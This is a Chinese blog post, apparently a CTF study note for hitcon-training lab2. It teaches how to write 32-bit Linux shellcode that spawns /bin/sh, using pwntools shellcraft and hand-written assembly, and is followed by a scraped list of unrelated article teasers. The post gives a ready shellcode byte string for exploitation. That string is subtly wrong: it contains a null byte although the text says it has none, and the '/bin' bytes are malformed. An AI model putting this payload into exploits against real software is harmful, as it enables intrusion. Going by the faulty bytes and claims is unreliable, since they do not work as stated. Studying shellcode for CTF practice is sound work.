今天开始在做hitcon-training的题目,做到lab2就发现了自己的知识盲区,遇到无法执行shell的情况,需要自己打shellcode执行cat flag 操作

经过一系列的搜索,发现了几种编写shellcode的方法:

首先,就可以用pwntools来编写:

1.asm 进行汇编,使用参数来指定cpu类型以及操作系统

32位linux:

asm("mov eax, SYS_select", arch = 'i386', os = 'linux')

'\xb8]\x00\x00\x00'

64位linux:

asm("mov eax, SYS_select", arch = 'amd64', os = 'linux')

'\xb8\x17\x00\x00\x00'

2shellcode生成器

32位:shellcraft.i386.linux.sh()

64位:shellcraft.amd64.linux.sh()

第二种方法就是用汇编来写:

假设我们现在要写一个shellcode,用来执行 execve("/bin/sh",0)

执行系统调用首先要知道调用函数对应的系统调用号,32位linux内核的系统调用表可以通过http://syscalls.kernelgrok.com/网站来查询,我们这里获得shell只需用到execve函数,从表中可以看到execve的调用号是0x0b,需要把这个0x0b传给eax,接着执行 int 0x80软中断,也就是系统中断,根据中断号和相关寄存器设置调用对应系统函数

 
 

第一步,就是需要将系统调用号加入到eax中。

第二步,ebx用于保存函数调用的第一个参数(ecx存放第二个参数,edx存放第三个参数,esi存放第四个参数,edi存放第五个参数)

如果参数个数超过5个,那么就必须将参数数组存储在内存中,而且必须将该数组的地址存储在ebx中。

一旦加载寄存器之后,就会调用int 0x80 汇编指令来发出软中断,强迫内核暂停手头上的工作并处理该中断。

在这里,第1个参数ebx,刚好是“/bin/sh”;第2个参数ecx是一个指针数组,第一个元素是第一个参数地址,第二个元素为空;第3个参数是edx为空。最后execve的系统调用号就放在了寄存器eax中=0xb。

接着我们就开始编写shellcode了:

global _start

_start:

mov eax,0   #eax置0

mov edx,0   #edx置0

push edx #也就是  execve()中的第三个参数,由于是入栈,所以最先入的是最后一个参数

push "/sh"  

push "/bin" #将/bin/sh存入栈中

mov ebx,esp  #ebx指向/bin/sh字符串,保存了/bin/sh的地址

xor eax,eax   #xor异或运算使eax清0,xor eax,eax 指令为2字节而mov eax,0 指令为5个字节一般用效率高的xor

mov al,0Bh ;eax的低位置为execve函数中断号

int 80h

 
 

保存为shellcode.asm,通过编译链接,然后运行,获得shell

 
 

使用 objdump -d 获得机器码

 
 

我们发现机器码中有许多/x00字节,shellcode中存在/x00字节在进行利用的时候会被截断Shellcode如果存储在堆或是栈的内存中,这样在shellcode执行时就不能出现\x00这样的阶段字符,这就需要我们在构造shellcode时防止此类坏字符的出现。所以我们要避免出现/x00字节,重新修改我们的汇编程序

global _start

_start:

xor ecx,ecx  使用这种方法清零就不会出现\x00

xor edx,edx

push edx

push "/sh"

push "/bin"

mov ebx,esp

xor eax,eax

mov al,0Bh

int 80h

编译链接运行,得到机器码

 
 

需要注意的是,编译后,0x68732f实际上就是字符串“hs/”,而0x6e69622f是“nib/”

这是因为32位的程序采用的小端序存储,所以参数字符都是倒过来的

没有出现/x00字节,得到最终的 shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x00\x68\x2f\x62\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"

通过这种方法,我们就把shellcode写出来了,若是想调用其他的函数或者执行其他的语句,也可以用这种方式,具体这里有一道题目可以拿来练练手,hitcon-training-lab2

小礼物走一走,来简书关注我

作者:23R3F
链接:https://www.jianshu.com/p/eb75426b85cb
来源:简书
简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。

编写shellcode的几种姿势的更多相关文章

  1. ShellCode的几种调用方法

    ShellCode是一种漏洞代码,中文名也叫填充数据,一般是用C语言或者汇编编写.在研究的过程中,自己也学到了一些东西,发现其中也有许多坑,所以贴出来,如果大家有碰到的,可以参考一下. 以启动电脑上的 ...

  2. 为Node.js编写组件的几种方式

    本文主要备忘为Node.js编写组件的三种实现:纯js实现.v8 API实现(同步&异步).借助swig框架实现. 关键字:Node.js.C++.v8.swig.异步.回调. 简介 首先介绍 ...

  3. 快速了解IOC的几种姿势

    一.首先我们了解IOC如何注入的几种姿势 构造函数注入(Constructor Injection) Ioc容器会智能的选择和调用合适的构造函数以创建依赖的对象.如果被选择的构造函数具有相应的参数,I ...

  4. 两个文件去重的N种姿势

    最近利用shell帮公司优化挖掘关键词的流程,用shell替代了多个环节的操作,极大提高了工作效率. shell在文本处理上确有极大优势,比如多文本合并.去重等,但是最近遇到了一个难搞的问题,即两个大 ...

  5. 又拍云张聪:OpenResty 动态流控的几种姿势

    2019 年 1 月 12 日,由又拍云.OpenResty 中国社区主办的 OpenResty × Open Talk 全国巡回沙龙·深圳站圆满结束,又拍云首席架构师张聪在活动上做了< Ope ...

  6. 补习系列(7)-springboot 实现拦截的五种姿势

    目录 简介 姿势一.使用 Filter 接口 1. 注册 FilterRegistrationBean 2. @WebFilter 注解 姿势二.HanlderInterceptor 姿势三.@Exc ...

  7. python打开文件的N种姿势

    # python打开文件的N种姿势 print('[1]使用open()函数+简单for循环') f1 = open('python.txt') for line in f1: print(line. ...

  8. [转]地图投影的N种姿势

    此处直接给出原文链接: 1.地图投影的N种姿势 2.GIS理论(墨卡托投影.地理坐标系.地面分辨率.地图比例尺.Bing Maps Tile System)

  9. 【bzoj3224】Tyvj 1728 普通平衡树 01Trie姿势+平衡树的四种姿势 :splay,旋转Treap,非旋转Treap,替罪羊树

    直接上代码 正所谓 人傻自带大常数 平衡树的几种姿势:  AVL Red&Black_Tree 码量爆炸,不常用:SBT 出于各种原因,不常用. 常用: Treap 旋转 基于旋转操作和随机数 ...

随机推荐

  1. HDU3415【单调队列】

    单调队列解决通过维护满足条件内的值,并保证队列里的值单调,解决一个最大最小. 让你求一个k区间长度的最大值,那么就只要搞下前缀和, sum[ i , j ] 区间的和:sum[ j ]-sum[ i ...

  2. STLstack,queue

    今天一开始用C去摸栈和队列,差不多昨天早上也在摸,摸烦了就去搞DP然后DP也没搞好,就是很烦很烦!!!! 然后今天那些C的栈队列的步骤和名称熟的不要不要的,然而数据结构的c语言用指针,传递,简直麻烦, ...

  3. Unity动画事件

    动画事件添加 var clip = new AnimationClip();//clip,动画剪辑  储存基于动画的关键帧.这里新建动画剪辑 clip.SetCurve ("", ...

  4. bzoj 3653: 谈笑风生【dfs序+主席树】

    考虑b的两种情况,一种是p的祖先,这种点有min(k,de[p]-1)个,然后每个这种b都有si[p]-1个c点可选: 另一种是p的子孙,要求是在p的子树内且deep在de[p]+1~de[p]+k之 ...

  5. 新装centos 6.5 基本配置

    开机自动联网 vi /etc/sysconfig/network-scripts/ifcfg-eth0; 将ONBOOT=no,改为ONBOOT=yes,保存退出 开机直接进入命令行模式 vi /et ...

  6. 如何对接payjs的个人微信扫码支付接口

    在众多个人支付接口的产品中,要寻找一个稳定可靠的产品是比较难的,所幸遇到payjs,感觉逼格较高,非常满足自己的品味.推荐大家使用.下边是我在对接payjs的过程中的一些经验和技巧,分享给大家. 一. ...

  7. redis连接错误

    连接redis错误:ERR Client sent AUTH, but no password is set 2018-07-04 20:33 by robinli, 4367 阅读, 0 评论, 收 ...

  8. python异常之ModuleNotFoundError: No module named 'test01inner02'

    当我们使用sys.path.append(args) 指令向程序中导入模块时其实本次append操作只是在内存中完成的,如果要永久性的添加需要修改环境变量. 我们发现当我们使用print(sys.pa ...

  9. GYM 101889F(树状数组)

    bit扫描坐标套路题,注意有重复的点,莽WA了. const int maxn = 1e5 + 5; struct node { ll B, F, D; bool operator < (con ...

  10. 解决thymeleaf严格html5校验的方法

    用的是springboot加thyemleaf做静态模板. 然后会有个很烦的东西,就这个静态模板对html的格式非常严格,导致很多框架的格式都用不了,然后这里有个解除的方法: 1.在pom中添加依赖: ...